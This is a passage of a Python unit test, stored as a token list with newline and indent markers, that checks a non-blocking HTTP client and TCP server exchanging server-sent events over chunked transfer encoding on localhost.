"._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "606", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "fancy", "?", "idi", "fy", "=", "true", "&", "multipl", "y", "=", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "multipl", "y", "=", "true", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "multipl", "y", "=", "true", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "request_", "._", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Transfer", "-", "Enco", "ding", ":", " ", "chunked", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "2", "2", ":", "11", ":", "5", "3", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "method_", "=_", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "d", "\\\\", "r", "\\\\", "nre", "try", ":", " ", "1000", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "0", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "d", "\\\\", "r", "\\\\", "ndata", ":", " ", "START", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "1", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "1", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "2", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "2", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "3", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "4", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "3", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "5", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "6", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "4", "\\\\", "n", "\\\\", "r", "\\\\", "n", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "7", "\\\\", "n", "\\\\", "r", "\\\\", "n", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "8", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Timer_", "(_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", "and_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parser_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parser_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "._", "dict", "ify_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "retry_", ",_", "response_", "._", "event", "Source_", "._", "retry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "int_", "(_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", ">=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "lei", "d_", ",_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "events_", ")_", ">_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "0", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "START", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "1", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "1", "\\\\", "n2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "2", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "3", "\\\\", "n4", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "body_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "event", "Source_", "._", "raw_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy", "Json_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "Http", " ", "client", " ", "to", " ", "server", " ", "Fan", "cy", " ", "SSE", " ", "with", " ", "chunked", " ", "transfer", " ", "encoding", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy", "Json_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client_", "(_", "ha_", "=_", "alpha_", "._", "eh", "a_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connected_", "and_", "beta_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "606", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "fancy", "?", "idi", "fy", "=", "true", "&", "json", "if", "y", "=", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "json", "if", "y", "=", "true", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "json", "if", "y", "=", "true", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "request_", "._", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", 